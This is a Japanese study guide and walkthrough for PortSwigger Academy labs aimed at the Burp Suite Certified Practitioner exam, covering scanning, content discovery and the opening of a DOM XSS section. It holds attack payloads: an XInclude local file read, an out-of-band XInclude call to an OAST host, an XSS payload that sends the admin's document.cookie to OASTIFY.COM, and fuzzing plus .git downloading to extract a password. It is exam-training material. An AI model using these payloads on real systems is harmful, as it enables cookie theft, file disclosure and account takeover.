PortSwigger Academyラボ向けの実践的な学習ノートとウォークスルー。Web脆弱性、ペイロード、列挙、BSCP試験対策を網羅しています。
これは、110以上のPortSwigger Academyラボを使用した私の学習ノートです。 これらのラボを使用して、2023年のBurp Suite Certified Practitioner試験に合格しました。 私のBSCP認定資格。
最新の学習教材については、PortSwigger Academyをご覧ください。
スキャニング - 列挙
フォーカススキャン
非標準エンティティのスキャン
足場 - ステージ1
コンテンツ発見
DOM-XSS
XSS クロスサイトスクリプティング
Webキャッシュポイズニング
ホストヘッダー
HTTPリクエストスマグリング
ブルートフォース
認証
権限昇格 - ステージ2
CSRF - アカウント乗っ取り
パスワードリセット
SQLi - SQLインジェクション
JWT - JSON Webトークン
プロトタイプ汚染
APIテスト
アクセス制御
GraphQL APIエンドポイント
CORS - クロスオリジンリソース共有
データ窃取 - ステージ3
XXE - XMLエンティティとインジェクション
SSRF - サーバーサイドリクエストフォージェリ
SSTI - サーバーサイドテンプレートインジェクション
SSPP - サーバーサイドプロトタイプ汚染
LFI - ファイルパストラバーサル
ファイルアップロード
デシリアライゼーション
OSコマンドインジェクション
付録
Pythonスクリプト
ペイロード
ワードリスト
フォーカスターゲットスキャン
アプローチ
追加トレーニングコンテンツ
試験を受ける前に、Mystery lab challengeをできるだけ多く実施して、スキルを試し、脆弱性を特定するのにかかる時間を短縮することをお勧めします。
試験の再受験に関するPortSwiggerのアドバイスも非常に参考になりました。
2024年のBSCP試験の新しい視点については、CryptoCat - Burp Suite Certified Professional (BSCP) Review + Tips/Tricksをご覧ください。
ご支援いただいたコーヒーに感謝します、
\o/
私のBurp Suite Certified Practitioner証明書。
Webアプリケーションの列挙は、時間制限のあるエンゲージメントでは、初期スキャンと対象を絞ったスキャンから始まります。
エンゲージメントや試験中の厳しい時間制限のため、特定のリクエストに対して定義済みの挿入ポイントをスキャンします。

スキャナーはstoreIdパラメータでXMLインジェクションの脆弱性を検出し、これによりCarlosの秘密ファイルを読み取ることができました。```xml <xi:include parse="text" href="file:///home/carlos/secret"/>
>帯域外 XInclude リクエスト。ローカルファイルを読み取るには、ホストされた DTD が必要です。```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>
PortSwigger Lab: ターゲットスキャンによる脆弱性の迅速な発見
Burpの機能を使用して、レスポンスまたはリクエスト内の選択テキストを対象に選択した挿入ポイントをスキャンすることで、非標準データ構造をスキャンします。

Burpスキャナーの問題結果を通じて脆弱性を特定します。
この場合、特定されたXSSを使用して、特定された挿入ポイントにペイロードを構築し、管理者ユーザーのCookieを盗みます。``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART
>キー文字をURLエンコードします。

>管理者ユーザーのクッキーを現在のブラウザセッション内で置き換えて、管理パネルにアクセスします。
[PortSwigger Lab: Scanning non-standard data structures](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)
-----
# 足がかり
# コンテンツ発見
>ターゲットの列挙は、Webディレクトリとファイルのファジングから始まります。Burpエンゲージメントツールのコンテンツディスカバリーオプションを使用して隠しパスやファイルを見つけるか、`FFUF`を使用してWebディレクトリとファイルを列挙します。`robots.txt`や`sitemap.xml`を確認すると、コンテンツが明らかになる場合があります。```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt
ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ
Burpエンゲージメントツール、自作のワードリスト burp-labs-wordlist をカスタムファイルリストとして使用したコンテンツ発見。

ローカルにダウンロードしたコピー上で、
git-colaツールを使用してgitリポジトリのブランチを調べます。次に、Undo last commit を選択し、diffウィンドウから管理者パスワードを抽出します。``` wget -r https://TARGET.web-security-academy.net/.git/
git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

[PortSwigger ラボ: バージョン管理履歴における情報漏えい](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)
>常に `source code` を開いて、隠しファイルやパスを明らかにする開発者コメントがないか確認すること。下記の例は [Symphony トークンのデシリアライゼーション](#deserialization) につながる。

-----
## DOMベースのXSS
[DOM XSS の兆候](#identify-dom-xss)
[DOM Invader で特定した DOM XSS](#dom-invader)
[DOM XSS AngularJS](#vuln-angularjs)
[DOM XSS select 内の document.write](#doc-write-location-search)
[DOM XSS JSON.parse Web メッセージ](#dom-xss-jsonparse-web-messages)
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)
[DOM XSS AddEventListener Ads メッセージ](#dom-xss-addeventlistener-ads-message)
[DOM XSS Eval で反映される Cookie スティーラー](#reflected-dom-xss)
[DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie)
### DOM-XSS の特定